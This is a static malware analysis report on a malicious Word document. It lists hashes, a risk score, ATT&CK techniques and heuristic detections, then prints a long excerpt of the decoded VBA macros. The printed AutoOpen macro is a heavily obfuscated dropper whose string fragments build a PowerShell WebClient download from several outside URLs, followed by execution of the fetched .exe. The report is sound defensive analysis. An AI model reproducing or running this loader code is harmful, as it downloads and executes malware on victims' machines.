Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9602e20ac10c8ed…

MALICIOUS

Office (OLE)

107.5 KB Created: 2018-02-19 12:51:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: 17203b46f90e384dfd7e15e7da286092 SHA-1: 606b4632d9532ac4610fe4f714f3c95ec08ba0d5 SHA-256: f9602e20ac10c8eddfa65e3584445ba7f740dfee02e29e1255807e29b541ea2e
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains heavily obfuscated VBA macros, including an AutoOpen function, indicating a malicious intent to execute code upon opening. The script attempts to download a second-stage payload from the reconstructed URL 'http://www.christian-jansen.nl/tdMtTSkSVrmi', which is a common technique for malware droppers. The presence of 'Shell' and 'CreateObject' calls further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6452945-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6452945-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    nMUinjNjw = (9701793 - CDbl(7709334 + BcYrkhYM / GnWAYcTiGV * Hex(6279332)) - 6593630 + CByte(ijnSdaqJEoZ))
Shell QqilNFHKljYzdP + HthIKDIBi + uzrdHj + tpEREzVS, 0
BzwCHmkzs = (3070329 - CDbl(4871459 + wBKpoNUwL / LSPzztj * Hex(9221592)) - 117902 + CByte(pSfZBb))
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    nMUinjNjw = (9701793 - CDbl(7709334 + BcYrkhYM / GnWAYcTiGV * Hex(6279332)) - 6593630 + CByte(ijnSdaqJEoZ))
Shell QqilNFHKljYzdP + HthIKDIBi + uzrdHj + tpEREzVS, 0
BzwCHmkzs = (3070329 - CDbl(4871459 + wBKpoNUwL / LSPzztj * Hex(9221592)) - 117902 + CByte(pSfZBb))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "fCLYnbq"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://personadQuz5+uz5J+dQJltdQJ+dQJrauz5+uz5id In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32388 bytes
SHA-256: 841a61ba620586f689c7fb567a69a2a631664172e798cc6fdfbf314c6d409172
Detection
ClamAV: No threats found
Obfuscation or payload: likely
872 of 1114 identifiers look randomly generated (e.g. 'zqvQrGSpzUn4650lQYCDzta0JGniF6KwSwiFzad'); 16 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lSDXoLzBiKz"
Function fBWMSZYjk()
On Error Resume Next
ArzRSswLv = (7091271 - CDbl(3392394 + APOBPvJninwMRj / sdCSEVYMsHQkm * Hex(243216)) - 4707142 + CByte(MDjlRjOUp))
FQPFpsBzdIa = (7489745 - CDbl(1297896 + fRbkp / DOmSNcc * Hex(665481)) - 4236909 + CByte(wKWlGQjJlwcLO))
wSwrBFrwvrz = (6496054 - CDbl(5442032 + OVjajfua / JlupDINKUViQUw * Hex(3007309)) - 6618108 + CByte(wrjrAEqv))
FzVtDV = (wthTOoCZGvso) + yHBjksbJKSUgsssd("vwaGB+G4rAdQJ+dQJDCdQJ+dQJXdQJ+dQJ dQJ+duz5+uz5G4r+G4rQJ=dQJ+dQJ dQJ'+'+d'+'QJpkY G4r+G4rdQJ+dQJhttp://personadQuz5+uz5J+dQJltdQJ+dQJrauz5+uz5id'+'QJ+dQJnervancG4r+G4rouvdQJ+dQJeG4r+G4rrwaspjUuIYBFGcTZEn", 6, 184)
Mnsqzpjiz = (4861900 - CDbl(3222396 + OhDrGJjDtqBqO / COVhzk * Hex(8683813)) - 9553232 + CByte(BUqGstvT))
mpnOwzf = (6492024 - CDbl(1213391 + zmMEh / wlZroXmmJifM * Hex(4932466)) - 6212186 + CByte(QQCWQCoKwWTkLH))
UHWjRnhlh = (3171895 - CDbl(444225 + AMmHXZMw / TjKQG * Hex(1559565)) - 5001204 + CByte(iVJiQ))
iOhpGww = (wfpThqOBtLzAu) + yHBjksbJKSUgsssd("sJ+dQJG4r+G4rw5F/?ht'+'tp:G4r+G4r//wwwduz5+uz5QJ+dQJ.chduz5+uz5QJ+dQJristian-jadQJ+dQJnsen.nldQJuz5+uz5+dQJ'+'/tdQJ+dMtTSkSVrmi", 2, 115)
hGWupTX = (54220 - CDbl(6628189 + LKGZusij / cjwEqJcoqd * Hex(323604)) - 8843086 + CByte(fNpiTJEBEasFJ))
hVIFI = (5557645 - CDbl(3983746 + wnfdmS / wmzPkuP * Hex(4327245)) - 6304591 + CByte(QitjPZZfZ))
dFwuoS = (4502476 - CDbl(1040374 + wjjHi / pVQINCssTtUHp * Hex(842657)) - 2322858 + CByte(twbViOGwMuF))
qstzVj = (urtqqZMjF) + yHBjksbJKSUgsssd("kNnUbt9G4r+G4r0+[cHaR]iMLZ", 7, 16)
iHIYLzWi = (6223496 - CDbl(2546789 + aPSwSw / EAKrvSXBikjkiL * Hex(1722866)) - 5014164 + CByte(tMEBYfAvwOFv))
bXczuJVrtP = (7462737 - CDbl(2249409 + urTFWTXPdqkCBw / zSpfDFrwfUJ * Hex(9198645)) - 9479173 + CByte(RFrZi))
COzWNYsqdw = (8009002 - CDbl(7513195 + DDTWzbLndzzPQ / GHIsCtolMXZL * Hex(2201887)) - 7068235 + CByte(dTGvGOlMhIQnr))
aZWwjmNv = (FjLShBrPni) + yHBjksbJKSUgsssd("kBwRzNRRMiNuRfzYD,[sipzsjNCibLmLsBGcFmb", 18, 3)
rYujSB = (9058561 - CDbl(5229996 + mGwuCbsXhlJ / dTBCzuQ * Hex(7156368)) - 4512800 + CByte(MwriC))
PqAsqsC = (2662544 - CDbl(5759835 + fppGAn / XoTDNi * Hex(7919627)) - 7178457 + CByte(DZSHbaipMltA))
mmAib = (527430 - CDbl(4715574 + itbGUXWTO / ZFwhJRXLEacvWd * Hex(927078)) - 2021099 + CByte(uOuGUQuZTGjRQj))
wdIqQvXtD = (vwlPauzjtTJYU) + yHBjksbJKSUgsssd("pONjFwC= .(uz5+uz5dQJ+dQJpkYnepdQJ+dQJkdQJ+dQJYdQLvqjjOICWNbwaKGXcNwijpRkLrGzlz", 8, 42)
SmTwrQaZ = (4461989 - CDbl(9702811 + JXcFT / EpBHpLououWrL * Hex(5262986)) - 7010914 + CByte(rruYRWSwqw))
GJzTArSI = (1573177 - CDbl(6471793 + sDBkVz / jAMIhuJCaq * Hex(2287053)) - 4439832 + CByte(hjkKvYiX))
pbIPqLQ = (722797 - CDbl(3306869 + DGmvqVHpiFwqf / rWMPXzklQaMT * Hex(8150718)) - 7950862 + CByte(OHcjTFaIOMFjWs))
ACBjVPGE = (TVowzwi) + yHBjksbJKSUgsssd("aznBbjtLsWfHouB'+'lIC[1'+'3]+09WENv:pubLiC[5]+uG4r+G4rz5xuz5)G4r).REplAC'+'E(G4r09WG4r,G4rRdmG4r).REplACE(([CHAr]55+'+'[CHAr]103+[CHAr]'+'82)zplTd", 14, 128)
PCiZF = (5898821 - CDbl(3457899 + PwTHMjROwDSQO / FpWNRlvszwSKn * Hex(6955838)) - 9321566 + CByte(oaRddMRits))
UiSLhfzwvS = (7421516 - CDbl(7491102 + ENBtZkWNJ / jwWzXoB * Hex(8607556)) - 6325874 + CByte(UOrwlOtY))
QXDHOJGpKGc = (7511632 - CDbl(3960641 + zIVuiRQNz / QiNljHNuur * Hex(36106)) - 1095649 + CByte(DpVCILrza))
buYEiztCW = (jRISqLjX) + yHBjksbJKSUgsssd("YoIGNjbntriNG][CHAr]124).REplACE(G4ruz5G4r,[stri'+'NG][CHAr]39).REplACE(([CHAr]85+[CHAr]53+'+'[CHAr]98),[striNG][CHAr]96)tZM.( RdmEnV:cOmsPec[4,2'+'6,25]-JoInG4rG4r)').REplACe(zvhTMdiGlf", 9, 168)
NiULGtiJXN = (927385 - CDbl(2526658 + ICIcppY / sGIFW * Hex(1251079)) - 4025501 + CByte(dzFrpDEKT))
BlGRinWw = (6472210 - CDbl(2345394 + nAizbJcd / POuGJMBXY * Hex(4411993)) - 4357639 + CByte(UKTwW))
uQsdTdPE = (4922799 - CDbl(847024 + zIIdHQrXJiMdrA / lLkfrCn * Hex(9077387)) - 2060223 + CByte(NSpPAFjYfaGF))
ajJjYI = (iNEHjitdYtnS) + yHBjksbJKSUgsssd("idQJYepdQJ+dQJHiJKGwwsMWKXpqdXKrApD", 2, 13)
YCGvisu = (2062755 - CDbl(2643091 + ntzCHIZdFMZHft / mWZYBAwCwshN * Hex(3762563)) - 8062410 + CByte(kPsIiGv))
taCzoQSQn = (3565700 - CDbl(4214623 + Uhnzup / uAGqV * Hex(7308605)) - 2354972 + CByte(qqzJavFnucKPWP))
dlZtLEzn = (5848230 - CDbl(8340447 + DShTJ / DDiTS * Hex(6741951)) - 3938631 + CByte(djLnPwJ))
htlOhHZPTW = (UwhnltNu) + yHBjksbJKSUgsssd("KjuuWlUWwkMsjGpIbcvQkuzYKbzmJV+uz5gqdQJ+dQJNdQJ+dQJSBdQJ+dQJ = tgdQJ+dQJqnuz5+uz5sdQJ+'+'uz5+uzG4r+G4r5dQJadasd.neG4'+'r+G4rxtdQJ+dQ'+'G4r+G4rJ(dQJ+dQJ1uz5+uz50000, dQJ+dQJ282133'+');tgqG4rLUQnNU", 31, 159)
LpHvV = (6212802 - CDbl(6704674 + cOuuHHT / PjSdwowTh * Hex(9237197)) - 1965701 + CByte(iFcAD))
qRdSzcNWcJ = (56676 - CDbl(6705480 + pTJErVCHUs / LLDRGdb * Hex(9360971)) - 7652621 + CByte(ksRWhcWmuqHYs))
pcuiQussR = (6863404 - CDbl(9340570 + Nmdlpwplw / inVXcDvkFbriJ * Hex(8571888)) - 6107036 + CByte(aBDnTUVjP))
vtzZuujtYDq = (dhnvFvcnEZN) + yHBjksbJKSUgsssd("tTluJKuDplZRYZzhoTUHuz5+uz5aR]9G4r+G4r2).REG4r+G4rPLaG4r+'+'G4rCe(dQJwxMdQJ,[stRiNG][cHaR]34)G4r+G4r.REPomHiQalo", 20, 85)
WfnnrziK = (1182164 - CDbl(3788524 + ohKWKSlIm / tjTZLKRuwEEm * Hex(9996509)) - 1890496 + CByte(pzEjMiv))
IcMaN = (6487181 - CDbl(2556782 + wNVnQiN / TkYKwTULqJ * Hex(2895826)) - 3842956 + CByte(hBKUS))
wcRfziGzzvm = (6391610 - CDbl(4720958 + CzBGLMzwGj / qKjZnfDkP * Hex(167239)) - 8402530 + CByte(StKRMLTzzpAQ))
uRJKNSipO = (DdHiVffdk) + yHBjksbJKSUgsssd("cMCfXnNNQzIilLid[1]+ZT1SHEllId[13]+dQG4r+G4rJXdQJ) ((dQJtdQJ+duz5+G4rnuLpbsGbONwuNSEYcdaGfi", 14, 56)
HZmsivQSn = (9037369 - CDbl(7236369 + nicBJPmQaTds / HJdPSQkodjBf * Hex(5157794)) - 1240236 + CByte(orjMldwuNc))
kGwdr = (6710324 - CDbl(7099124 + GOvSRoCBFzhi / wJzaV * Hex(6642182)) - 1794602 + CByte(cjjRGIK))
crtMZrAA = (2909023 - CDbl(3096225 + jfvhPoiOmDai / BikhnumHAbiii * Hex(2168459)) - 302388 + CByte(frmpJww))
MJcZYlrOvRF = (WpOwJaKLiNA) + yHBjksbJKSUgsssd("QsHMZN(tdQJ+dQJgqasfc in dQJ+dQJtgqADCX){tdQ'+'J+dQJry{dQJ+dQJtgqYYU.wdQG4r+G4r'+'J+dQJxMDoVNdQJuz5+uz5+dQJvWuz5+uz5nlVNvOaduz5+uz5'+'dQJ+dQJFdQJ+dQJIG4r+G4rVNdLwcIzOmVZbDZCcfKbqH", 7, 154)
BOEBT = (4468218 - CDbl(3877151 + jjERDkcjDG / ntjDjiS * Hex(8832635)) - 6878435 + CByte(AEVtlodSoFUSL))
aBPzk = (5724444 - CDbl(2797467 + oLJiLCpuwzGiz / IdkjfiiXSvzOP * Hex(328485)) - 8253125 + CByte(iGppqHkBi))
ilPKikI = (9581720 - CDbl(2983710 + zlizSwwrhb / jLRsNiznnDaRzo * Hex(1860615)) - 325236 + CByte(siBhP))
rEvSNhWHF = (ktphjWa) + yHBjksbJKSUgsssd("bCHduRoluWpKjdCOhvMIbXaoLjzHPmMY)dQJ+dQJ dQ'+'J+dQJrandom;oRGaFz", 32, 27)
LbIwnZ = (2868539 - CDbl(4572375 + lKcYWUiK / vwzwaQ * Hex(3877081)) - 939579 + CByte(MAiBUiDnLsifd))
ztTiwpjrzOf = (7220103 - CDbl(3961969 + QXniDLip / XIAofrlZhCXj * Hex(6814492)) - 8024705 + CByte(UjJqbdSKiiKtj))
OVKBozXLN = (4395890 - CDbl(7728776 + VtPza / wfAzG * Hex(9227290)) - 6749977 + CByte(jjhtNUCnNIFzWF))
AOCOnBjdPqu = (znGHFiY) + yHBjksbJKSUgsssd("vqZpjkufGBNd'+'QJ = tgq'+'envdQJ+dQJ:pdQJ+dQJubdQJ+dQJlidQJ+dQJc +dQJ+dQJ pdQJ+dQJkY5jnG4r+G4rpkY + tuz5+uz5gqNCEJKbajLdJpcs", 12, 100)
shwBtpST = (461974 - CDbl(5617385 + nJTwifG / chsJCsDDhvpMo * Hex(5024111)) - 9100753 + CByte(XzjkjVoDsmR))
HcizDOKRFj = (8596731 - CDbl(4807575 + TKNBq / rUolUSumMQWN * Hex(2782759)) - 6919181 + CByte(lwVIHspRPb))
frjzvlXDiYa = (2091825 - CDbl(5789438 + biznjKsDIz / QbCqbQEi * Hex(7888393)) - 5447953 + CByte(OrtjrCDZKJo))
VJbYzOQVYcC = (RkiqiXWbh) + yHBjksbJKSUgsssd("tinWrhS([cHar]116+[cHar]90+[cHar]77),[STring][cHar]124).REplACe('Rdm','$').REplACe('G4r',[STring][cHar]39))LHIRLpDvnzFIXbblisIjljKRK", 8, 100)
pGwaqojdiH = (406580 - CDbl(8877672 + HuATpAjn / bLrIKh * Hex(5063405)) - 5109174 + CByte(FFQmBDBENamczN))
Inhbdwv = (3133681 - CDbl(3466467 + ndkCWs / zPUwpiQ * Hex(9442677)) - 1168678 + CByte(wpzUtwRlmJBic))
jlIznLQ = (9514874 - CDbl(5261192 + BuwpviMFpmiCO / JpWHQbSouhS * Hex(3248685)) - 6966091 + CByte(JSnXXwdWAQw))
DYVHdGibV = (wErjqwpwXjp) + yHBjksbJKSUgsssd("GvntCz BAVuVJkKTbdldQJ+dQJhidQJ+uz5+uz5dQJngtodQJ+dQG4r+G4rJn.com/dQJ+dQJcdQJ+G4r+G4rdQG4r+G4rJjqdQIfDWqWKnzfffVR", 20, 80)
zwoucQj = (2372649 - CDbl(9969707 + XiwcwWwL / QFmpGLCwYJ * Hex(7537282)) - 3660105 + CByte(ujjzK))
uYDznj = (3701742 - CDbl(8198321 + aRWksSQAz / IClGzN * Hex(4365886)) - 399674 + CByte(iCADMw))
waMSjDjh = (3867645 - CDbl(6872884 + twMfUHpo / ENslzaAi * Hex(3173345)) - 3444968 + CByte(jVaHKMVZOKoY))
mMCrIPl = (ALIUjAY) + yHBjksbJKSUgsssd("WfrBHjKsmllwzLaCe(([cHaRuz5+uz5]86+[cHG4r+G4'+'raR]'+'78+[cHG4r+G4raR]118),dQJdvUdQJ) )uz5).rePLAce(([cHaR]100+[cHaR]81+[c'+'HaR]74),[StrING][cHaRG4r+G4r]39).rePLAG4r+G4rce(([cHG4r+G4raR]cP", 14, 174)
zwdYpGCzplL = (4103340 - CDbl(1634580 + QaFQoJmqaEBi / XaXITtTRzLcI * Hex(4359197)) - 7542772 + CByte(jbrHZsAi))
wEXlI = (8566833 - CDbl(452169 + HFNzw / zOYHzPlcoUQ * Hex(2936565)) - 5595866 + CByte(RWVGzN))
zFRdMuvQ = (8793998 - CDbl(1839157 + XrfGTlODANvKIO / kMFfkX * Hex(6933909)) - 3689703 + CByte(uilkGzl))
UVBpMLEihW = (QsEaChjCviXXE) + yHBjksbJKSUgsssd("HbmHwBZElzdRmlVVXBnnujaZkuSREPLaCeuz5+'+'uz5(dQ'+'JtgqdQJ,[stRiNG]uz5+uz5[cHaR]36).REPLaCe(uz5+G4r+G4ru'+'G4r+G4rz5dQJpkYdQJ,[st'+'RiNG][cHaR]39).REPLaCe(([cHaR]53+[cHaR]1uz5+uz506+[cHaR]110),[suz5G4r+G4r+uz5tRiNG]G4'+'r+G4r[ciWjENp", 28, 199)
GRHrNis = (3048132 - CDbl(2275666 + AiwAbJWpNsPD / pKGUQiwYiXjM * Hex(5672267)) - 4733552 + CByte(vOrEzhq))
pIIrr = (9293394 - CDbl(3876178 + aYaTtTH / UZOQSHhOLVG * Hex(2468231)) - 7734437 + CByte(kIuzBLGFwNmFqK))
totQFJKmWu = (4339550 - CDbl(938139 + DcdJzzivkWiV / pHabnSZt * Hex(3536409)) - 9188009 + CByte(OaBdNQXsHk))
vkzJmfNLLzH = (zJHMWmHOYXnY) + yHBjksbJKSUgsssd("ZECJJMilFSlXHbMpzjtIbkhkdQJ+dG4r+'+'G4rQJY+pkYw-objecpkY+pdQJ+dQJkYtdQJ+dQJpdQJ+dQJkiK", 24, 61)
KmjwjjpvJtd = (2889397 - CDbl(4300190 + frlhz / YwAiTzqOjmXPm * Hex(519100)) - 1929907 + CByte(pBHFiw))
BzGQVvuV = (5562706 - CDbl(9707224 + BBnbtRCLuLJ / VzphVul * Hex(1555333)) - 2982000 + CByte(TuVBkZtPcV))
wqZnZjto = (382884 - CDbl(22881 + zCmqVUDr / AtTDRXJCrqSZh * Hex(8793007)) - 1106229 + CByte(hdRfjnNVjrfiD))
ONfjSNL = (ERoXjdYfi) + yHBjksbJKSUgsssd("DHomFIFLUsFMCGfiNdIquWRdG4r+G4rQJigdQJ+uz5+G4r+G4ruz5dQJa3G4r+G4rCPdQJ+duz5+uz5QJ/?httpdQG4r+G4rJ+dQJ://blog.profesaldQJ+dQJ.pdQJ+dQ'+'Jl/XPwskt/?htdQJ+dQJtpdQJ+dQJ:dQJ+dQJ//wduz5+uz5NEHc", 24, 160)
UCKEIVmZwXq = (1601932 - CDbl(6362865 + nrmMHNjwXasawb / HnEAd * Hex(2121127)) - 119956 + CByte(vZKJBonbX))
PXHDLnkKV = (276810 - CDbl(1216021 + wZZVjvjJhd / aDIaELIDmn * Hex(4287392)) - 8203827 + CByte(zEiKjzUZswGh))
ovkDwDJMZ = (2847494 - CDbl(6689638 + hcqnRujF / NjPPwTpZimYcR * Hex(4785180)) - 5098945 + CByte(IFiEBspcoVK))
zTwNQDFAzNP = (VGZiLhsQ) + yHBjksbJKSUgsssd("zmjnEjdQJ+dQJmdQ'+'Juz5+uz5+dQJluz5+uz5dQJ+dQJadQJ+uz5+uz5dQJG4r+G4ruz5+uz5nd.org/06uzG4r+G4r5+uz5isnG4r+G4rdQJ+d'WLusGSuFia", 7, 108)
ofOGHm = (7463433 - CDbl(5089747 + JtrJtKijca / DiJvUtNSzFHfcP * Hex(788445)) - 2587625 + CByte(taFwfzPQppiwNj))
BmjLRW = (5090900 - CDbl(7988521 + FKqFWb / TcXBNPupzjm * Hex(348180)) - 4088579 + CByte(Xfuif))
GIGXP = (794505 - CDbl(5852758 + kVhqUKtW / XwYdCbNDavtBj * Hex(9494793)) - 4742727 + CByte(GhfwbqXC))
EWjQmzk = (cJrQDQGIoABrVt) + yHBjksbJKSUgsssd("nkYdQJ+dQJ);fuz5+uz5oreachdQJ+dQJwLnYcVwcAPu", 2, 32)
Lwckmwn = (4603056 - CDbl(1605433 + NcOaQjbWd / ZtfjLz * Hex(5166095)) - 8149029 + CByte(VXiMcPzmOQh))
JzvmOVkwVJh = (7712170 - CDbl(5760649 + BjHhzZi / ZvLdnvYzor * Hex(2694167)) - 7980617 + CByte(wfPmLQuMFvVw))
aUnVYd = (6368937 - CDbl(5918446 + DPbQAtwnAwcDNR / paoZDBrvoI * Hex(7624987)) - 3057087 + CByte(zqhFRZuY))
YTvtcLprK = (jbEIlSE) + yHBjksbJKSUgsssd("BQzVFqcK+dQJak;}catchdQJ+dQJ{uz5+uz5dQJzKQkkuiNcjiBjCqO", 9, 31)
AcdwBfz = (2228289 - CDbl(3890664 + IMddnKRWmoXE / czjDJcIGu * Hex(1262335)) - 4083052 + CByte(tuZwpbiEiocOV))
hvLhErJIUCv = (774502 - CDbl(946519 + LbsXYjSIa / ojMfNGImu * Hex(3079615)) - 8476784 + CByte(wNozuoWRh))
sXajSCiEf = (1020105 - CDbl(4540970 + uTNzSNbRXRmz / wbWGjJodnifiY * Hex(7248051)) - 5900408 + CByte(IqjLZktsKTho))
NTHthwdm = (hucFvHHbw) + yHBjksbJKSUgsssd("JpKoiLhsoOoobjlQJ+dQJvlewdQJ+dQJuz5+'+'uG4r+G4rz5xM(dQJ'+'+dQJtgqdQJ+dQJaiYfjGUfAcjrplzbPjTbdVd", 16, 58)
PuPOA = (3569379 - CDbl(2594502 + ivPcACmzEtQ / SmztncQdEKvY * Hex(1122861)) - 8311232 + CByte(lFYBpiiVPhTiGV))
lRTmXtWmmDf = (8006172 - CDbl(5616169 + dmitRhOLB / cUzrWJHAtjs * Hex(5295228)) - 1212278 + CByte(QhLUuKIPhZvT))
ISWGF = (2389441 - CDbl(450813 + YJpnwBBP / wYzUvwdCfrcjV * Hex(8827304)) - 3197200 + CByte(bNnavCwEfVXCo))
viCFKC = (iJHoiPubzfOaCo) + yHBjksbJKSUgsssd("jzOrGiRWUIH+G4ruz5QJgG4r+G4rqdG4r+G4rQJ+dQJnsadadQJ+G4r+G'+'4rdQJaWCuMILSubKNpVbjjCZsWZdqY", 12, 54)
XoUjjTRC = (7156225 - CDbl(477209 + ZvWoNpv / buoaYbNYFMRBV * Hex(8965724)) - 6312565 + CByte(tCiCPbiuSIcs))
SbAbziCQrSk = (7029566 - CDbl(9536160 + bZfuQ / tLUfPQNTAuiOiu * Hex(2196162)) - 2177111 + CByte(izPuHQzVnHKqc))
Zwlvi = (8068112 - CDbl(55167 + oAqKXzLR / SOziBDqQjB * Hex(8916803)) - 175455 + CByte(lvUKbI))
uVdrI = (nTkvtnVa) + yHBjksbJKSUgsssd("wrsqs& ( $SHElLid[1]+$sheLLId[13]+'X')(('(G4r(uz5.uz5+uz5 ( ZT1ShEltZPzuQPkHSGvw", 6, 62)
wTkYQwPfjr = (3937190 - CDbl(4903072 + oFPjPvpNXDOwtK / fHJVPLWG * Hex(491291)) - 7414446 + CByte(sTTpDiDdPYiKiY))
mQdsJRWziP = (2196452 - CDbl(1413981 + kjUvsh / iuwJjSz * Hex(2462132)) - 9428137 + CByte(DVuizjuQ))
vQfKkafBJsG = (9010581 - CDbl(9023736 + wfwEEPVSSAAlIL / jttwYW * Hex(2602388)) - 2254034 + CByte(pNZlDafzm))
nTRpfSjPzsY = (tUAUiowSpCBqmE) + yHBjksbJKSUgsssd("czHcCEahzXiEElufmDXZBEZzJ+dG4r+G4rQJ+pdQJ+dQJkYwdQJ+dQJpkY+pk'+'dQJ+dQJYdQJ+dQJ-uz5'+'+uz5obj'+'ectdQJG4r+G4r+dQJpdQJ+dQJk'+'Yuz5+uz5)dQJ'+'+dQJ dQJ+d'+'QJSystem.Nduz5+uz5QJ+dQJedQG4r+G4rJ+dDYfvlBH", 25, 166)
JDizL = (3781429 - CDbl(5267789 + rqjPrUC / uduhoOttcitSFb * Hex(394545)) - 9166190 + CByte(ZIzQnw))
rHrDf = (9147011 - CDbl(5069410 + nMvimzAkqtvPM / EcwAaI * Hex(1721725)) - 3022684 + CByte(nJSMDiHiwHza))
qCiObzi = (6249021 - CDbl(9724528 + vwSUkIzrNAuooz / RiXYHVUlz * Hex(441217)) - 6814117 + CByte(zHPhYdA))
YwMiwpBlj = (iSDjlWpwAWwWaj) + yHBjksbJKSUgsssd("aXrLkuAOLLXLGVS'+'B +dQJ+dQJ dQJ'+'+dQJ(uz5+uz5pkY.exdQG4r+G4rJ+dQJpkY+pkYephqq", 15, 62)
zObcwY = (540233 - CDbl(1486094 + cbKUSBtCjzSWK / sratssTDOZoI * Hex(3163338)) - 6422539 + CByte(RAiQmYiT))
RLlLoB = (4236013 - CDbl(4135872 + mliHtmjfpl / VJOXYMl * Hex(6167865)) - 2022631 + CByte(MiRznGXOOYEY))
pQoSKCF = (2911219 - CDbl(1261540 + VHfCYlsiCiV / PzRhp * Hex(2113247)) - 8648525 + CByte(DRJFfLQbNK))
jPsWiNLJnB = (FLIuShdpP) + yHBjksbJKSUgsssd("EAjsFIXhfHQJtdQJ+dQJ.WdQJ+dQJG4r+G4rebCdQJ+dQJldQJ+dQJidQJ+dQJendQJ+dQJt;dQJ+dQJtuzG4r+G4r5XzVovZzwzwZ", 11, 81)
MRblnC = (6223533 - CDbl(5976200 + zaWMU / UsiatawN * Hex(5390778)) - 2423950 + CByte(tGDCrnbDB))
iDRcwhDrHrH = (5936138 - CDbl(4492062 + jYbKzHfGZfCfWk / LiSjOCocacBGm * Hex(9069193)) - 1691270 + CByte(mzwzBRQw))
iDEqnv = (1100441 - CDbl(9303815 + zODXfG / QVivItuvBiwBsL * Hex(3262904)) - 2261738 + CByte(ialqtRWd))
FqqhDNTi = (IOwqONW) + yHBjksbJKSUgsssd("HizDZwUZARtphfYBcK'+'4rqSDC);&(pkdQJ+dQG4r+G4rJYIndQJ+dQJvdG4r+G4rQJ+dQJopdQJ+dQJkYdQJ+dQJ+pdQJ+dQuz5+uz5JkdQJ+duzG4r+G4r5+uz5QJYku'+'z5+uz5pdQJ+dQJkYuz5+uz5+dWdiw", 19, 141)
jWwKVKFEb = (652598 - CDbl(8952753 + CnoFUEWDMSq / EhfdcBBjdbZuYh * Hex(7036066)) - 5764043 + CByte(XYOBHMiPQin))
lcfTalT = (1463750 - CDbl(6866284 + XzEzYkEVD / NEbNu * Hex(6317706)) - 7678416 + CByte(tTotcwzU))
wXljifR = (9323860 - CDbl(2638576 + WOZtDBz / hLtfCUMn * Hex(596321)) - 7110628 + CByte(UjrTOPjiU))
kPZDdYY = (nkqoCEFPiwE) + yHBjksbJKSUgsssd("qEMPdQG4r+G4rJ+dQJsfdQJ+dQG4r'+'+G4rJc.wxMTodG4'+'r+G4rQJ+dQJStr'+'VNuz5'+'+uz5dQJ+dQJviVdQJ+dQJuz5+uz5NvNgw'+'xM(), dQuz5+uz5G4r+G4rJ+dQJtgG4r+GJnXKLPANuXQJdpZV", 5, 141)
ZmwVOXGnH = (1645333 - CDbl(8910741 + bscfvKiUXcM / HGosnYzsNJX * Hex(4394988)) - 7030754 + CByte(PbwFEzH))
stZZnZMZqzo = (3908634 - CDbl(2406591 + hCsdjDoVAbAsAu / qJBWRVFukvCX * Hex(3586384)) - 4483622 + CByte(XntpKlj))
wzfdu = (4129994 - CDbl(2363652 + VBWJKW / CTOqGzuccH * Hex(1636438)) - 6660945 + CByte(fVwoDNzKjA))
sSUmPLdk = (oKXLzMGIzomYP) + yHBjksbJKSUgsssd("wVfqdlAjLzL+dQJ}}dQG4r+G4rJ'+').BLE", 12, 21)
OPwjuNM = (5636428 - CDbl(4559337 + idzDhFwXPSTD / QkwJs * Hex(4365887)) - 6619574 + CByte(BKWoRm))
RQqBKA = (4662980 - CDbl(81551 + AWmAGjwPBfdBMC / FTAFAEqGpcj * Hex(3699400)) - 5661557 + CByte(QTYWSSw))
ssrzRSn = (3148267 - CDbl(288897 + ACtrrE / pHqizl * Hex(3682988)) - 61961 + CByte(KQzYZQSAlLFit))
zqldEiMVFp = (YcVwJWRpwNi) + yHBjksbJKSUgsssd("hojQuz5+uz5J+dQuz5+G'+'4r+G4ruz5JpkYe-ItedQJ+dQJG'+'4r+G4rmpkY)dQJ+dQJuz5+uz5(tajvkETRMqjcd", 4, 76)
IEjzQFDmsdq = (7020892 - CDbl(6843761 + FfwdvXHtfvOCi / BNDiEjU * Hex(3679971)) - 5824501 + CByte(IUbCW))
vXNUVa = (7884674 - CDbl(1207841 + ORtklqvn / mmmqTpzfFZ * Hex(347172)) - 6074539 + CByte(YmBwV))
GdLzcfj = (5209042 - CDbl(9230611 + Wqovo / RQbNnRBh * Hex(6182088)) - 8416081 + CByte(oiiXRPE))
